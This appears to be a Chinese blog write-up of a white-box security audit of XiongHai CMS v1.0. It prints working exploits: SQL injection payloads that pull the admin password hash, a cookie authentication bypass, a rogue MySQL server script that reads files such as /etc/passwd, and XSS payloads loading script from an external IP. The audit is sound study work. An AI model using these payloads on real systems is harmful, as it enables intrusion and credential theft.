写在前面 准备开始冲一下CNVD了,开启白盒审计阶段。这一篇练习分析熊海CMSV1.0,补充自己的一些trick和审计思路,加油!
这里会边适应申整套源码的思路,边同时扩展里面出现的知识点
配置环境 https://down.chinaz.com/search/%E7%86%8A%E6%B5%B7CMS.htm 站长之家下载源码。
这里选用phpstudy搭建CMS运行环境
1 2 3 4 php: 5.2.17 apache: mysql: 5.5.53 windows: Windows 11 家庭中文版
代码审计 先拿自动化工具扫一下
好家伙331个,这误报率有点高
我们一个个来
LFI 在根目录index.php中直接就存在一个文件包含,我们可以通过目录穿越包含根目录的文件(这里需要配合写文件或者文件上传一类)
例如我们在根目录写一个shell.php,其中包含phpinfo()
当然这里后缀有限制,我们特殊条件下也可以采用00截断,但现在不常见了就不展开了
php 版本小于 5.3.4 而且GPC = Off 允许使用%00
admin目录下同样也存在一个,原理一致不再多说
INSTALL安装逻辑问题 在/install/index.php
中,判断网站是否已安装取决于当前目录是否存在InstallLock.txt
文件,所以如果我们是利用前面所述的文件包含漏洞,在根目录包含install/index.php
文件就会导致重装问题
这里Y4是否提到了一个配合目录穿越读文件的利用
首先如果是在根目录去包含install文件的话是会出错的,因为其中会包含一个../inc/db.class.php
文件。该文件如果在根目录包含是一定出错的。因此,我们需要找到一个保持相对路径相同 包含点文件来利用
/admin/index.php
便是比较好利用的,这里看到当前文件与/install/index.php
针对/inc/conn.php
的相对路径是一样的,因此可以包含到正确文件
进一步我们这里便可以利用恶意mysql服务端来读取任意文件
https://www.mi1k7ea.com/2021/04/23/MySQL%E5%AE%A2%E6%88%B7%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/
exp: 注意版本适配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php function unhex ($str ) { return pack ("H*" , preg_replace ('#[^a-f0-9]+#si' , '' , $str )); }$filename = "/etc/passwd" ;$srv = stream_socket_server ("tcp://0.0.0.0:1237" );while (true ) { echo "Enter filename to get [$filename ] > " ; $newFilename = rtrim (fgets (STDIN), "\r\n" ); if (!empty ($newFilename )) { $filename = $newFilename ; } echo "[.] Waiting for connection on 0.0.0.0:1237\n" ; $s = stream_socket_accept ($srv , -1 , $peer ); echo "[+] Connection from $peer - greet... " ; fwrite ($s , unhex ('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75 6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00 00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44 47 77 43 2a 43 56 63 72 00 ' )); fread ($s , 8192 ); echo "auth ok... " ; fwrite ($s , unhex ('07 00 00 02 00 00 00 02 00 00 00' )); fread ($s , 8192 ); echo "some shit ok... " ; fwrite ($s , unhex ('07 00 00 01 00 00 00 00 00 00 00' )); fread ($s , 8192 ); echo "want file... " ; fwrite ($s , chr (strlen ($filename ) + 1 ) . "\x00\x00\x01\xFB" . $filename ); stream_socket_shutdown ($s , STREAM_SHUT_WR); echo "\n" ; echo "[+] $filename from $peer :\n" ; $len = fread ($s , 4 ); if (!empty ($len )) { list (, $len ) = unpack ("V" , $len ); $len &= 0xffffff ; while ($len > 0 ) { $chunk = fread ($s , $len ); $len -= strlen ($chunk ); echo $chunk ; } } echo "\n\n" ; fclose ($s ); }
越权漏洞 inc目录下一般是配置文件,我们在checklogin.php中发现越权
很简单的一个越权,这里只检验了cookie的user字段是否为空
我们利用admin后台的其中一个页面wzlist.php
做尝试
1 2 /admin/?r=wzlist Cookie: user=whatever
SQL Injection /admin/files/login.php下,可以看到user参数被直接拼接,并且单引号闭合,还有报错提供
之后会去判断密码的md5值是否和数据库中查出的对应用户的密码相同。这里也说明密码在数据库中已md5哈希值存储
综上,这里的一种利用方式就是通过报错注入得到admin账户的密码,然后登录后台
1 2 3 4 5 6 7 8 /admin/?r=login user=-1' and updatexml(1,concat(0x23,database(),0x23),1) # //xhcms_v1.0 user=-1' and updatexml(1,concat(0x23,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,32),0x23),1) # //manage user=-1' and updatexml(1,concat(0x23,substr((select group_concat(column_name) from information_schema.columns where table_name='manage'),1,32),0x23),1) // id,user,name,password,img,mail,qq,date 8个字段 user=-1' and updatexml(1,concat(0x23,substr((select group_concat(user,password) from manage),1,32),0x23),1) # // admin 21232f297a57a5a743894a0e4a801fc3
拿到md5后去cmd5上解个密
这样既可获得admin账户的用户名密码
第二种方法就是sqlmap一把梭,原理是一样的(我这里没注出来)
第三种方法是Y4师傅说的利用联合查询造出假数据,只要满足回显1行,并且md5的原值可知即可,还有注意字段数保持一致,满足8个字段(第4个字段为密码
1 2 user=1' union select 1,2,'RacerZ','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8 # password=1
后台SQL
关键词 mysql_query
查看该文件,这里执行了一个删除操作,id字段参数可控,还是利用报错
/admin/files/adset.php
这里有一个addslashes
限制,而且sql语句传参处加了引号,上下文也未作编码相关设置,所以没有宽字节注入的利用。
这里有一篇利用trick总结以后遇到再看 https://cloud.tencent.com/developer/article/1077710
/admin/files/editcolumn.php
在type参数控制下,下面俩分支均可SQL注入(id可控)
同时后面还有update操作也可控
/admin/files/imageset.php
这个页面有个文件上传功能,上传位置可知
但是存在白名单过滤,仅能上传jpg|jpeg|gif|bmp|png
后缀文件
/files/content.php
这里便是存在我们刚才说的addsalshes虽然加了,但是可以看到query那块的sql查询并没有使用引号包裹,那么我们直接查就可以了
同理在/files/software.php 下也是这种情况
基本上存在表单的页面都有SQL注入hhhhhh。
XSS 在/files/contact.php页面中
1 2 3 4 5 $page =addslashes ($_GET ['page' ]);if ($page <>"" ){if ($page <>1 ){$pages ="第" .$page ."页 - " ; }
这里会接收page参数,并回显
一个典型的反射型XSS
最基本的payload,注意闭合a标签
1 page=</a><script>alert(1)</script><a>
如果我们想回显更复杂的字符串,就需要绕开引号导致addslashes的限制
当然有个标签 SRC属性是可以不带引号的,尝试引入第三方js或第三方html页面
1 2 <SCRIPT SRC=http://43.140.198.45:81></SCRIPT> page=</a><SCRIPT SRC=http://43.140.198.45:81/xss.js></SCRIPT><a>
或者
1 page=</a><script>alert(/hacked by RacerZ/)</script><a>
在/files/content.php 中
id可控,cookie也可控
同时在前面,回显参数来自pinglun变量,该变量的值来自SQL查询interaction表,表名这里是否可利用存储型XSS,我们看下可提交存入数据库的参数是否存在过滤
这里可以看到能提交name,email,url,content等参数,并且提交至/?r=submit&type=comment&cid=<?php echo $id?>
,看下该页面对content变量的值做了防护,其他参数都没啥过滤
再看看最终回显的参数有哪些,url和name参数是可回显的,url回显位置不太好在a标签的href处而且必须得包含http://,可以尝试在name处注入payload
验证码逻辑问题 我们在刚才的/files/content.php
当中看到还引入了一个验证码
查看/inc/code.class.php
它这里的逻辑就是生成验证码图片并将对应的字符串存入SESSION
我们看看验证逻辑,在/files/submit.php
中,只是做了简单的比较操作,如果错误就退出也没有刷新操作。所以是可以被用来直接爆破的
参考链接 https://pino-hd.github.io/2018/06/10/%E7%86%8A%E6%B5%B7CMSv1-0/
https://xz.aliyun.com/t/10393
https://y4tacker.blog.csdn.net/article/details/111501407
https://y4tacker.github.io/2022/06/16/year/2022/6/Y4%E6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E6%9E%B6%E6%9E%84